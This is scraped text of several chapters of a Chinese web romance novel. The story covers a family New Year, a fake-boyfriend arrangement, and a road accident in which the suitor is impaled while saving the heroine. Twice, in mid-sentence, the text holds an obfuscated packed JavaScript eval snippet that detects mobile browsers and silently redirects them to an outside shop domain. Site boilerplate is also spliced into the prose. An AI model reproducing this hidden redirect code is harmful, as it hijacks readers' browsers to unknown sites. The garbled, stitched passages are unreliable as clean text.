魏思沅笑了声,对孟棠说:“小鱼今天怎么呆呆的。” “可能手受伤了。”孟棠说,“还有笑笑,你以后少在她面前说竞帆和小鱼的事。” 笑笑脸上藏不住,孟棠一眼就知道她找程逾干什么去了。 “其实我也不是胡说。”魏思沅压低了声音,“你以后这座宅子要留给谁?给竞帆吗?他整天在外拍戏,就算花钱请人养护,但房子不住人,很快就会落败,没有人气。” “可是给小鱼的话,她会接受吗?” 孟棠蹙眉:“你怎么想那么远的问题?” 魏思沅说:“不远,如果小鱼结婚,有了孩子,拖家带口的,她一定不会继续住在这里。” “这跟我们对她好不好,把不把她当成家人不冲突,她就是一个拎得清的孩子。” 孟棠沉默片刻,说:“那总不能因为老宅的问题把他俩强行凑一起。” 魏思沅失笑:“还强行,你要不看看你儿子看小鱼的眼神,就是那种哇哦,她做什么都可爱的眼神,偏偏嘴上要犯贱地撩拨几句,惹得小鱼骂他两句他就高兴了,小鱼要不搭理他,他能难受死。” 孟棠:“……他还有这属性?” “孤陋寡闻了吧。”魏思沅失笑,“你整天跟他俩在一起,当局者迷。” 孟棠叹了声气:“其实我让魏川找竞帆聊过,他对小鱼的事确实上心过了头。” 就好像他们年轻时候一样,总要嘴硬几分。 但她看小鱼,应该是没那个意思。 程逾给笑笑剥了点花生,搁在桌上的手机嗡嗡震动了几声。 她打开手机的瞬间,孟竞帆瞥了眼,是张延的信息。 除夕他不忙着年夜饭,又找小鱼干什么呢? 张延问程逾明天要不要去看贺岁档,程逾其实不太想去,但孟竞帆凑了过来。 “谁啊?” 魏云舟慢条斯理喝了口茶,看他哥明知故问。 “张延,约我明天看电影。”程逾说。 “一起呗。”孟竞帆拿出手机,“我来订吧,反正明天也要给电影做宣传,问问爸妈他们去不去。” 程逾侧眸:“做宣传?演员你认识啊?” “嗯。”孟竞帆点了点头,“男主角是我师兄,我们私底下是认识的,只不过还没合作过,前几天他给我发信息,让我帮着询宣传一下,这不得拖家带口去看。” 程逾点点头:“行,我跟张延说一声。” 孟竞帆勾了勾唇:“好,你跟他说,票我买了。” “知道了。” 魏云舟轻轻笑了声,他以前还没发现两人之间的化学反应,一个综艺暴露了太多。 “哥。”魏云舟清了嗓子,“过完年你都24了吧,怎么不谈恋爱?” “你吃错药了?”孟竞帆惊讶魏云舟八卦这种事,“什么时候对你哥的终身大事感兴趣了?怎么,你要结婚了?” “我结婚最起码还要十年八年。”魏云舟说,“不过我和大姑说好了,28结婚。” 孟竞帆和程逾同时看向他,异口同声地问: “爸妈知道吗?” “师父知道吗?” 魏云舟云淡风轻道:“找个家世差不多的联姻。” “弟弟,我对不起你。”孟竞帆突然演上了,“这些本该是哥哥受的苦。” “我没觉得苦。”魏云舟瞥了眼孟竞帆,“再说,以你的智商,你也吃不了这份苦。” “小心我揍你啊。”孟竞帆捏拳。 “竞帆哥哥,你应该也打不过云舟哥哥。”笑笑咯咯笑了声,“他学散打。” 程逾被逗笑,扔给孟竞帆一个橘子:“还是别丢脸了。” 那边张延收到程逾的消息,有点不太情愿,但大过年的也不好拒绝。 乔松清的话不断在他脑子里回荡,他决定趁机再观看观看孟竞帆。 当晚,明星们纷纷营业,孟竞帆看着评论区里的司明瀚有些想笑。 他后来明确说对程逾有好感,被孟竞帆劝退了,理由是程逾绝不会找一个公众人物谈恋爱。 司明瀚没有告白,借着综艺大结局时候的成员谈心,问了程逾关于未来另一半的想法。 程逾确实和孟竞帆表述的差不多,司明瀚纠结了一晚,第二天飞回了首都。 从此以后,他们就是微信里的好朋友。 程逾想起什么,在桌下踢了下孟竞帆:“订了几张票,我叫上淼淼。” “有。”孟竞帆说,“一个厅的剩下的都买了,谁想去就去。” 程逾:“……让你宣传,你就买一个厅?” “怎么可能。”孟竞帆说,“这事工作室会办的,你放心。” “……我不用放心,你放心就行了。”程逾说。 “哦。”孟竞帆转头问魏云舟,“你去不去?” “去吧,在家没事做。”魏云舟说。 “真是太阳打西边出来了。”孟竞帆嘀咕,“每年怎么叫都不去。” “我应该说什么?今年不一样?”魏云舟一本正经道,让人想逗都逗不起来。 “小鱼姐姐,我也去。”笑笑扯了下程逾的胳膊,“我爸妈要是不去的话,你带着我吧。” “好。”程逾一口答应。 张延自己也没想到,本来约了程逾一个人,最后去了她全家,票还不是他买的。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第292章 孟程(26) 大年初一的电影院,人头爆满。 挤来挤去的谁也不认识谁,孟竞帆在角落的沙发上坐着玩手机,程逾和张延坐在他对面。 他戴着帽子,又被魏云舟堵在里面,也没人发现他。 魏云舟的耳畔时不时就传来旁边“game over”的游戏提示音。 魏云舟抵了抵一旁的孟竞帆:“你还玩得下去?” 孟竞帆蹙眉:“我为什么玩不下去?” 魏云舟瞥了眼他的屏幕:“你很菜。” 孟竞帆翻了个白眼,将手机息了屏,借着帽檐的遮挡看向程逾和张延。 或许是察觉到张延的不自在,程逾主动说:“要不,我们再买别的场的票?” 她觉得既然答应了,也不能让人尴尬。 昨晚他约的时候,程逾反应过来,也说了可以不和孟竞帆他们一个场,但张延自己答应了。 “没事。”张延的余光瞥到魏云舟,“我一直听说孟家两个儿子,这还是第一次见云舟,他和我想象的不太一样。” 其实从坐下来开始,他就似有若无地察觉到魏云舟好像不太喜欢他。 魏云舟其实不是对他不喜欢,他是对谁都一副冷淡的样子,也只有在家里人面前还有两分笑脸。 “他就这个样子。”周围嘈杂,程逾只能靠近张延,“你比他大那么多,还怕一个小孩不成?” “没有。”张延有些不好意思,“我感觉他不太喜欢我。” 程逾心大地拍了拍他的肩:“你多想了。” 周淼在一旁快要笑死了,程逾这动作,要多兄弟有多兄弟。 她抵了抵程逾:“陪我去一趟卫生间。” “好。” 程逾起身跟着周淼走了,刚出大厅,周淼的笑再也憋不住:“我说你也真是的,让人家装你男朋友,你这个女朋友倒是装得像一点。” “我怎么了?”程逾一脸无辜。 “不像啊,孟竞帆一直盯着你俩,你没发现吗?” 程逾摇了摇头,心里莫名发毛,孟竞帆盯着她和张延干什么? 难道是发现了? 两人去卫生间的功夫,魏云舟对张延说:“你跟小鱼姐在一起多久了?” “一个多月?”张延托着尾音,莫名心虚气短。 魏云舟蹙眉:“你跟她在一起多少天也不知道?” 张延有点无辜,他和程逾也没真的在一起。 “你知道小鱼姐喜欢吃什么吗?”魏云舟接着问。 张延点了点头:“知道,她喜欢吃鱼,不吃葱和姜,胡萝卜也不爱吃……” 话还没完,孟竞帆倏地嗤笑了声:“你有看我们的综艺吗?” 张延:“看了一点。” “那真的只有一点了。”孟竞帆冷淡道,“她不爱吃鱼。” 张延错愕:“怎么可能,我跟她一起吃过饭,她是吃的。” “迁就你罢了。”魏云舟说,兄弟俩一个比一个冷淡。 张延一时词穷,他确实也没细问,只是问了鱼怎么样,程逾什么也没说,他就以为她喜欢的。 几次接触下来,程逾从没跟他纠正过自己喜欢什么,显然对他没什么兴趣。 去了一趟卫生间,回来后张延更低迷了,程逾看向孟竞帆,孟竞帆无辜地耸了耸肩。 她又看向魏云舟,魏云舟摊了摊手。 笑笑在一旁将一切尽收眼底,兄弟齐心,其利断金,哦,断的不是金,是姻缘。 一场贺岁片,其他人笑得前仰后合,张延心不在焉地看完了。 大年初一,他也不能跟程逾说我俩谈谈心,只能各找各妈回家去了。 晚饭一结束,笑笑拉着程逾要去放烟花。 魏思沅笑道:“让你爸给你们拍个视频发到家族群里,给外公外婆也看看。” “好,我要放最大的。” 孟竞帆呵笑:“最大的大炮仗吓不死你。” 程逾“啧”一声,一巴掌拍孟竞帆手臂上:“过年呢,你在说什么话?” 意识到自己说了禁词,孟竞帆赶紧呸呸两声,朝程逾卖乖一笑。 程逾白了他一眼:“去把烟花摆好,我和你一人一边点火。” “好嘞。” 魏云舟可放不下这高贵的身段,双手插兜看着他们玩。 孟竞帆回头一瞧,坏笑一声,一把揉乱了魏云舟的头发:“小屁孩,整天装什么大人。” “孟竞帆。”魏云舟一把钳制住他,没想到却被他灵活地躲开了。 孟棠和魏川从院子里出来,抬手阻止:“你俩多大的人了,小心门槛。” “是他先动手的。”魏云舟呼了一口气,指了指发型。 魏川过去给他整理了两下:“好了。” 魏云舟:“……” “点火点火。”笑笑迫不及待地上跳下窜。 孟竞帆和程逾一人一头对视了眼,随后默契地逐个点火,到中间时,后面的烟花已经炸开,孟竞帆一把扯过她的手,将人往台阶上带着跑。 绚烂的烟火吸引了左邻右舍的小孩,一家人站在台阶上被烟火照得满面红光。 程逾仰着头,去拿手机拍照时才察觉自己还牵着孟竞帆的手。 这章没有结束,请点击下一页继续阅读!她惊得转头,孟竞帆朝她挑了下眉。 “松开。”程逾抽出自己的手,不自在地在裤子上擦了下。 孟竞帆回正视线,眼前的一切全都虚化了,目光没个焦点。 烟花放了半个小时才停歇,热情褪去,玩了一天的人各自回了房间。 程逾坐着出神,想起了张延白天的反常,一副欲言又止的模样,最后去敲了孟竞帆的房门。 孟竞帆刚洗完澡,穿着睡衣开了门,露了大半胸膛。 程逾避开视线,问:“你俩今天跟张延说什么了,我怎么感觉他不对劲呢?” “门口窜风,你进来说。”孟竞帆往后退了一步。 程逾犹豫了两秒,进了屋,说:“你这么早就洗完澡了?” 孟竞帆“嗯”了声:“我还打算喝点呢,你要喝吗?” 程逾摇摇头:“没你这闲情逸致。” “坐吧。”孟竞帆将她带到沙发边,扔给她一个游戏手柄,“陪我玩两局。” “我不是来玩游戏的。”程逾仰头看着他。 孟竞帆没吱声,只是把游戏手柄往前递了递。 程逾无奈接过:“最多一个小时。” 孟竞帆勾了勾唇:“这才对,今天就是玩乐的节日。” 谁乐意跟她提她男朋友。 两人在房间里打得不亦乐乎,魏云舟到门口了,听到动静又打算返回,碰到了刚从外面回来的孟棠和魏川。 魏云舟有些惊讶:“你们去哪儿了?” 魏川说:“附近转转,你还没睡?” 魏云舟指了指孟竞帆的房间:“小鱼姐和哥在玩游戏,我打算去睡了。” 魏川垂眸看了眼手表,十点半,这游戏估计要打到半夜。 魏云舟迈出去的步子又收了回来,他看着孟棠和魏川,问:“爸,妈,你们觉得小鱼姐当我嫂子怎么样?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第293章 孟程(27) 孟棠和魏川对视了眼,都十分诧异魏云舟的话。 “进屋说,外面冷。”魏川给孟棠的披肩往上提了提。 魏云舟转身跟父母进了屋。 三个人坐下后,魏川看向魏云舟:“我能不能问一下,你为什么这么说?” 魏云舟直视他的眼睛:“要不是我年龄小,我娶了小鱼姐也成。” 孟棠惊了下:“你认真的?” 魏云舟点点头:“她不适合嫁出去。” 孟棠哭笑不得:“你是舍不得她嫁人吧?” “都一样。”魏云舟说,“她不是委屈自己的性格,但如果你们认为结婚对她而言是多了一个家,她可能会委曲求全。” 孟棠蹙眉:“我们没有这个意思,可小鱼的喜欢是最重要的,要她自己喜欢才行,别以为我不知道你们兄弟俩今天给了张延一顿下马威。” “笑笑这个小叛徒。”魏云舟笑了声,“那个张延你们看着好,可他连小鱼姐喜欢吃什么都不知道。” 魏川拧眉,语气有些凶:“不合格,长眼睛是干什么的,嘴巴不会问吗?” 魏云舟:“而且他性格太老实巴交了,一旦也不适合小鱼姐,以后要是有人欺负他,是不是还要小鱼姐去保护他啊?” 也就是面对家人,魏云舟才能有那么多的话。 很多人都说程逾性格像男孩子,其实魏云舟见过程逾有多温柔。 他小的时候,是孟棠和魏川最忙的时候,程逾学艺的同时和孟竞帆会一起照顾他。 程逾对他和对孟竞帆完全是不同的,对孟竞帆不爽了会捉弄一番,对他会温柔细致,称得上溺爱。 他想要什么木雕,她都会雕刻给他,就算手破了,流血了也不皱一下眉头。 一起生活了这么多年,他把程逾当亲姐姐,自然不乐意别的普通的男人轻而易举地拐走她。 秉着支持亲哥的原则,他去看了两人录制的综艺。 看到cp粉这个群体,特意申请了账号去关注了。 魏云舟顿时茅塞顿开,与其是别的男人,还不如把亲哥搭进去,他看他也不是不愿意的样子。 简直完美,小鱼姐不会离开这个家,还成了他的嫂子,想想都能笑出来。 所以他才会试探性地问了张延那句话,没想到他这么不中用。 魏川看着魏云舟,说:“我没想到,你对小鱼的事这么上心,你在这儿拉郎,万一你哥不喜欢,或者你小鱼姐不喜欢你哥呢。” 魏云舟笃定地笑了声:“爸,妈,我哥每次拍完戏,第一个回的地方是哪儿?” 孟棠说:“雁清啊。” “雁清有谁?”魏云舟继续问。 “有你爸妈。”魏川白了他一眼,“有你这么臆想的吗?难不成你哥对你小鱼姐还有分离焦虑了?” 魏云舟勾勾唇,挑了挑眉,一副“你们说呢”的欠揍表情。 孟棠突然按住了魏川的胳膊:“不对。” “哪里不对?”魏川按住孟棠的手。 “小鱼上大学的四年,他就很少回来雁清。”孟棠看向魏川,“小鱼回来,他就回来。” 魏川仔细回忆了下,好像确实如此。 不至于分离焦虑,但这种行为显然跟小时候有很大的关系。 当初接回程逾,他和孟棠事先给孟竞帆做了很多工作,效果不太理想。 孟竞帆嘴上说“好的”,其实嘴巴已经撅高了。 小鱼初来雁清的时候,他的不待见尤为明显。 但小鱼处理方式很好,孟棠和他自以为是开明的父母,有些小摩擦都让他俩自己解决。 长久之后,这种亲昵的打闹下,却让他俩适得其反。 针尖对麦芒只是表面亲密连接的伪装,那些没有被正视的东西,已经成了绑定两人的羁绊。 这种关系通常会在某个点因为某件事被激活,然后一发不可收拾。 “爸,妈,哥已经意识到小鱼姐是他安全感的核心来源,只不过还没彻底认清而已。” 魏云舟再次给了孟棠和魏川“致命一击”。 他俩无言以对,心里竟也认同了魏云舟的观点。 “今天过年呢,有什么事之后再说。”魏川示意魏云舟先去睡觉,他自己也没理清,需要和孟棠缓一缓。 魏云舟点到即止,和父母道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700410|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚安后回了房间。 两个当事人无知无觉,还在快快乐乐打着游戏,程逾完全忘了来找孟竞帆的目的。 最后赢了,兴奋地和孟竞帆击了掌。 孟竞帆笑着拿出手机,对着游戏画面和手柄拍了张图,说:“我发个动态,你审核一下。” “我审核?”程逾指了指自己,“我又不是你工作人员。” “今晚要和粉丝互动一下。”孟竞帆说,“你就看看图片有没有什么问题,因为有时候我自己也检查不出来。” 程逾狐疑地拿了过去,左看右看,上看下看,图片一点问题都没有,就露了个游戏屏幕。 “没问题,发吧。”程逾将手机给他。 孟竞帆也是相信他,二话不说发了图文动态,并配文字:大家新年好啊,大年初一的晚上,你们都在干什么呢? 手机提示音接二连三响起,程逾余光瞥了眼孟竞帆,躲一旁打开了手机。 这一看,评论区精彩异常—— “我在看电影,不像你在谈恋爱。” “我在吃宵夜,哥哥你注意发这图气我来的吗?” “我在放烟花,看到我cp发糖了啊啊啊啊。” “我在玩手机,第一时间就给你评论点赞了。” “我在看综艺,分析你和小鱼的糖点。” “我在聊八卦,看到你带她打游戏我嫉妒了。” “……” 程逾实在忍不住了,她凑过去问孟竞帆:“他们怎么看出来的?我也没出镜啊。” 孟竞帆放大图片看了看,指了指屏幕:“在这儿,反光。” 程逾将自己砸进沙发:“一个个都是火眼金睛啊,给它重新编辑吧。” “为什么?”孟竞帆不打算听她的,“综艺里,咱俩住一个院子,大家都知道吧?我不信你不知道他们说我们是什么关系。” “什么关系?”程逾心脏狠狠一跳,生怕他说出什么虎狼之词。 “住在一个院子里,吃的一锅饭的关系。”孟竞帆白了她一眼,“赶紧回房睡觉去,这么晚了还赖在我这里。” 程逾当即站起来,朝他竖了个中指。 第294章 孟程(28) 程逾走后,孟竞帆倏地轻笑了声,他大爷似的往沙发上一瘫,将照片反反复复欣赏了好几轮,就是没有重新编辑。 初二一般会走亲戚,回娘家,但今年魏立峰和楚茵都不在,他们待在雁清哪也没去。 初二直接在院子里弄了个暖锅,背着风,晒着太阳,一家人闲聊唠嗑。 午后阳光正浓,每个人都被晒得晕乎乎的。 程逾半眯着眼,几乎要睡着。 突然,手背被蹭了下,下一秒,她的手被人托了起来。 “这伤怎么还没好。” 不知出于什么心理,听到孟竞帆的嘀咕,程逾一下闭上了眼睛装睡。 魏云舟看到,也蹙了眉,小声说:“不是去过医院了吗,她这伤口怎么还这样? “恢复得慢。”孟竞帆说,“她一向这样,别人一个礼拜好的伤口,她要两个礼拜。” 魏云舟看他哥小心翼翼的动作,瞥了眼程逾,问他:“我有一件事有点好奇。” “嗯?”孟竞帆抬眸,“什么事?” “那个张延,明显不适合小鱼姐,小鱼姐也不喜欢他,他们为什么在一起?” “你问我?”孟竞帆白了他一眼,“要不你直接问小鱼。” “我以为你比较了解她。”魏云舟说,“但现在看来,你也不是很了解。” “谁说我不了解。”孟竞帆反驳。 程逾的心一下吊到了嗓子眼儿,难道孟竞帆知道她并没和张延在一起? “她和张延在一起,大概是因为年龄到了,爸妈几次三番问她的感情事,她能敷衍一次,还能敷衍一辈子?” 程逾:“……” 懂了,她年纪大了呗。 “别看小鱼没心没肺的,但异常在乎爸妈的感受,可能她自己有点敷衍的心思,张延为人和家庭都不错,干脆在一起了。” “可她跟张延在一起没跟你说。”魏云舟一针见血。 “那是因为我在剧组,不然怎么——” “我是说,她在回避你。”魏云舟无语地打断偏了路线的哥。 孟竞帆突然沉默了下去,难道他看不出来吗?从录制综艺回来后,他俩之间总觉得有什么东西是变了的。 演员这个职业让孟竞帆习惯性观察别人,其实他也发现了。 他得知程逾谈恋爱的第一反应是逃避,说服了自己好久才秉持着修养和张延和颜悦色。 不管程逾的男朋友怎么样,他得尊重程逾,如果他对张延横眉冷对,难堪的只会是程逾。 其实他心里很担心,偷偷了解了张延的很多事,发现对方没什么致命的槽点。 魏云舟见他不说话,抵了抵他:“小鱼姐谈恋爱,你什么感觉?” 孟竞帆干笑:“我能有什么感觉?” 魏云舟微抬下巴:“没什么感觉啊,那你放开她。” 孟竞帆一低头,发现自己还拉着程逾的手。 他脑门莫名一热,轻轻松开了。 程逾眼皮微动,屏住呼吸不敢动一下。 魏云舟勾了勾唇,起身离开了。 孟竞帆盯着近在咫尺的可以看清小绒毛的脸,愣了半天的神。 程逾快要坚持不住了,她感觉自己的脸上要被烧出一个洞来。 她偷偷睁开半只眼,见孟竞帆的视线没有实处,装作刚醒的样子,迷糊地问:“我睡着了?” 孟竞帆回神后盯着她的眼睛。 程逾被看得发毛:“你看**什么?” “没什么。” 孟竞帆没有揭穿她假睡的事,演得一点也不像。 “太阳好大啊。”程逾撑着自己的膝盖起身,没话找话似的,“我进房间休息会儿,你自便吧。” “小鱼。”孟竞帆拽住她手腕。 程逾下意识抽开自己的手,干笑了声:“干嘛?” “你跟张延——” “我跟他挺好的。”程逾打断他,“我被晒得冒汗了,先回房了。” 称得上落荒而逃,程逾捂了捂自己的心口,压下那股烦躁。 她想去工坊静静,但看了看自己的手又作罢了。 初三,魏思沅一家离开了雁清,程逾一大早和周淼约出去玩耍了。 张延再也等不了,约了程逾想要把话说清楚,只是可惜,程逾没心情,婉拒了他的邀约。 孟竞帆后天飞首都,程逾打算大后天去见张延,只是计划永远赶不上变化。 张延因为工作原因,后天也要飞首都,所以第二天他直接找上了门。 他父母对程逾是比较满意的,一直鼓励他主动出击,张延自己对程逾也挺有好感。 既然程逾拿他当挡箭牌,显然也是不讨厌他的。 他俩也到了结婚的年纪,张延知道慢慢来更好一点,但他想要得到一个明显的信号。 如果程逾拒绝,他也不会过多纠缠。 人都找上门了,程逾也不能把人撵走。 当着孟竞帆的面,她指了指院门:“我跟他出去走走。” 孟竞帆点了点头:“早点回来。” “嗯。” 程逾应了声,指引张延沿着巷子去后面的大路。 院子前后两处小道,一男一女走上面,总要被八卦几句的。 孟竞帆心不在焉地在家踱步子,魏云舟将一切看在眼里,说:“你既然不放心,为什么还要让她出去?” 孟竞帆本来就烦,魏云舟一说,更烦了,他敷衍道:“睡你觉去。” 魏云舟抬手看了眼运动手表,说:“马上十点了,是睡觉的时间,张延这个时候没有礼貌地上门,只可能是为了确认什么东西。” 孟竞帆心里一个咯噔:“他能确认什么?难不成要求婚?” “可能真被你猜中了。”魏云舟故意往大了说。 孟竞帆:“……睡你觉去吧,好吗?” 魏云舟冷哼一声:“她嫁出去你就高兴了。” 看着魏云舟冷酷的背影,孟竞帆简直气笑了:“我高兴个屁。” 孟竞帆也垂眸看腕表,最终还是没忍住,抬脚走了出去。 程逾和张延沿着路边没走几步,直接问他:“你这么晚找我是不是有事?” 张延点了点头:“我这次因为工作要去首都半年,程逾,其实我挺喜欢你的,只是想来问问我们有没有这个可能。” “对不起啊。”程逾挠了挠头,“我当时不应该拿你当挡箭牌。” “没关系,这事咱俩不是说清楚了,我没怪你。”张延说,“我只是问一个可能,不是让你现在就跟我在一起。” 程逾停下来看着她:“你想听真话吗?” 张延的心酸了一下,他点了点头:“真话可能不是我想要的,但我还是想听。” “对不起。”程逾十分歉疚,“我也不瞒你,我跟孟竞帆的综艺,吸引了一批cp粉,你知道的,我给你解释过,我有点困扰,才说你是我男朋友。” “所以还是为了孟竞帆。” 意料之中的答案,张延又问:“那你把他当什么人?你应该清楚,他已经影响到你了。” “亲人。”程逾说。 她只有这一个肯定的答案。 “或许吧。”张延说,“但再过一段时间看,可能你的答案就变了。” “或许吧。”程逾重复了一遍他的话。 “所以我没机会了?”张延状似开玩笑地问。 程逾笑道:“做朋友不好吗?其实我不太愿意结婚。” 其实是她不想离开那座大宅。 那里盛着她从小到大最美好的回忆,如果可以,她情愿在里面生活一辈子。 但她也知道不可能,孟竞帆姓孟,这座宅子以后是他的,如果他结婚生子了,她必然要搬出去的。 张延妥协了:“行。” 程逾如释重负:“那咱们往回走?” “嗯。” 张延手一抬:“你走里面,外边不安全。” “没事,几步就到了。” 话音刚落,三轮车的低沉轰鸣从身后袭来,车上沉重的钢筋发出激烈的颤声。 拐过弯之后,速度一点不减,等看到路边的两道身影时,司机已经来不及反应了。 张延一把抓住程逾的胳膊,将她甩到了一边,程逾顺着浅坡滚落下去。 钢筋稀里哗啦掉了一地,张延的惨叫声听得程逾心底发毛。 “小鱼!” 孟竞帆的吼声从远处袭来,带着无尽的恐惧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703568|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>程逾手脚并用爬了上来,看到了被钢筋插穿了大腿的张延。 冷汗爬满全身,程逾手脚都软了。 “张延,张延?” “小鱼!”孟竞帆猛地扑了过去,“你没事吧。” “快,快啊。”程逾一把抓住了孟竞帆的胳膊,“快。” 她只会说这一个字了。 孟竞帆稳住她,立刻打了120,随后给魏川打了电话。 雁清医疗有限,魏川当机立断,动用一切关系要将张延转去z市。 与此同时,张延的父母也得知了这件事。 此类手术的最佳时间是受伤后六到八小时之内,两个半小时,张延第一时间被转到了z市最好的医院。 魏立峰安排了最好的医生。 张延的父母抓着程逾的胳膊质问,程逾一句话也答不上来。 魏川刚要上前阻止,孟竞帆将人护在身后,说:“您现在说什么都没意义,等手术结束后再说行吗?” “我儿子是为了你吧?”张延的母亲依旧愣愣地问。 程逾沉默地点了点头。 张延母亲还要说什么,被他父亲拉住了胳膊。 就在孟竞帆以为他父亲是个明事理的人时,只听他说:“张延离开之前,和我谈过,他说是来找你,商量一下明年的婚事。” 程逾惊得抬眸:“他没有——” “你跟张延在一起的时间虽然很短,但我们全家都很看重你。”张父说,“我们两家在雁清也有点交情,我这人怎么样,你师父也是知道的,你嫁给我们家,我们是不会亏待你的,至于你婚后的事业,我们也绝不干涉,生不生孩子也是你们自己的事。” 孟棠蹙起了眉:“等张延手术出来再说吧。” “这是嫌弃我们了?”张延的母亲忍不住了,“也就是说,我们家张延若是有个三长两短,你们程逾就不认了?” 程逾断定,张延将他俩之间的事事无巨细告诉过他的父母。 他们的口吻完全当她是张延的女朋友,但这件事也怪不了别人,只能怪她自己。 让她现在都反驳不了,因为张延为了救她躺在了手术室。 “叔叔阿姨,你们要是担心张延,不是现在逼迫小鱼嫁到你们家,而是看向手术室,祈祷他平安出来。”孟竞帆忍无可忍。 这种事,谁也不希望发生,发生后,他已经尽了最大的努力将人送进了手术室。 程逾还惊魂未定,又愧疚缠身,就被逼迫这一场荒唐的婚姻,他无论如何,都不会让这种事发生的。 孟竞帆搂住程逾的肩膀,强势道:“我先带她去处理一下伤口。” “我不——” “走。” 孟竞帆用尽了力气,强迫性将她带走了。 程逾身上有几处擦身,只是轻伤,消个毒就行,她感觉不到疼,但孟竞帆心里有点疼。 他将人按坐在医院安全出口的楼梯上,给她小心翼翼地消了毒。 轮到右手手背时,灰色的台阶上洇湿了斑斑泪迹。 孟竞帆第一次见程逾那么大串眼泪不要命地落,心里又堵又慌,扔了消毒用品,笨拙地拍了拍她的后背,安慰道: “不怕,他会没事的,你相信我。” 程逾摇了摇头:“我当初不应该拿他当挡箭牌,跟你说他是我男朋友,没有这件事,也就没有后面的事。” 孟竞帆一怔,竟然是这样的? 那她为什么要对他说和张延在一起了呢? 显然,这个答案,他暂时没办法去深究。 “谁都不想他受伤,我知道你恨不得受伤的是自己,但是小鱼,事情已经发生了,只能去面对,不过有一点,我绝不会让你嫁给他们家,你也不许答应。” 程逾动了动唇,什么也没说。 孟竞帆没有听到她的回答,抵了抵她:“我跟你说话你听到没有?不管用什么方法,我一定会弥补他,但绝不是用你弥补。” 程逾抽噎,不清不楚应了声。 孟竞帆给她擦掉眼泪:“走,去手术室,我陪你一起,不要怕,爸妈也在。” 程逾点了点头,主动拉住了他的手臂,借着他的力道站了起来。 第295章 孟程(29) 钢筋贯穿大腿,这是很严重的伤。 医生出了手术室后,立刻跟家属进行了沟通。 医生说了钢筋贯入的角度、力道,损伤的地方以及后续治疗情况,但没法给100%的保证,能让张延还如从前一样正常走路。 度过两三周的观察期,还要做三到六个月的康复训练,每一步都很辛苦。 还要看伤口的愈合走势和感染情况。 会影响到走路,程逾握紧了拳头,她真的情愿受伤的是她,也不愿意欠人家这份人情。 孟棠拍了拍她的肩膀:“没事,师父在呢。” 程逾点了点头,她知道张延的医生已经是国内顶尖的了。 张延醒来后的第一眼看见的就是自己的父母,得知自己的腿恢复不到正常的状态后,瞬间崩溃了。 尤其是他现在还躺在病床上,感知不到自己的腿,这种感觉就更加令人恐惧。 “程逾呢,她没事吧?” “还惦记着别人。”张延的母亲不太高兴,“不过你惦记也是应该的,你为了救她变成这个样子,我和你爸打算上她家提亲。” “啊?”张延一愣,“提亲?可我去找她——” “你找她不就是为了这事吗?”张延父亲按住他,“小鱼是个好孩子,和你挺相配的,我问过医生,即便复建成功,你的腿和正常人还是不一样的,复建那么辛苦,就让小鱼陪你吧,有她在,你也有动力。” 张延皱了眉头:“这样好吗?” “有什么不好的。”张延母亲说,“只要跟你结婚,条件任他们家提,我都会满足。” “好了,听**话,这件事我会跟魏川谈。” 张延醒了的事情,程逾自然收到了信息,一家人都陪她等在了病房门口。 没一会儿,病房门从里面拉开,程逾和张延母亲微微颔首后去了床边。 “对不起。”程逾上来就道歉。 张延虚弱地笑了笑:“你没事就好。” 程逾心中复杂,钢筋贯穿大腿,这不是小事,他竟然还在关心她。 魏川和张延的父亲讨论他接下来的治疗,张延父亲做了个“请”的手势:“出去聊聊吧。” 孟棠朝魏川点了点头。 程逾直觉不太好,但瞧见张延虚弱的脸,最终什么也没说。 张延需要休息,程逾没在病房待多久,孟棠和孟竞帆一左一右陪着她。 半小时左右,魏川铁青着一张脸走了过来。 程逾心头一跳:“川叔。” “让竞帆先陪你回去。”魏川说,“医院这里你也帮不上忙,等张延好转再过来看他。” 程逾不太想走:“我还是留下看看有没有需要帮忙的吧。” “你能帮什么忙?”孟竞帆说,“跟我回去休息,已经一天一夜没合眼了。” 程逾还想说什么,孟棠阻止了她:“小鱼,先回去。” “那你们呢?”程逾看向魏川,“张叔叔是不是跟您说什么了?” “不重要,你只要知道,不管出什么事,都有家人陪你。” 程逾“嗯”了声:“我一直都知道的。” 魏川给了孟竞帆一个眼神,孟竞帆立刻将程逾拉走了。 上了车,他的手机催魂似的响,是他经纪人打来的,今天他该飞首都,但到现在人都没影子。 “我家里出事了,暂时去不了,你找我小姑吧。” 等他挂断电话,程逾说:“我没事,你还是工作去吧,有些活动也不好缺席,违约金是小事,但诚信是大事。” “年前刚完成一部剧,目前在选本子。”孟竞帆解释道,“其实飞过去也是开会,说一下今年的规划。” 程逾心不在焉地点了点头,张延的事像一座大山压着她。 孟竞帆一脚油门,带着程逾离开了医院。 回到家后,程逾愣坐在副驾驶,问孟竞帆:“你说他要真是不能走路了怎么办?” 这是程逾第一次在他面前露出迷茫怯弱的模样,她一向说干就干,胆子跟天似的大。 “医生说了,坚持复建是可以站起来的。”孟竞帆安慰她。 “可也仅仅是站起来。”程逾扭过脸,“我无法背负这样的愧疚过一生。” 孟竞帆揽过她的肩,将她拥入怀中:“不会的。” 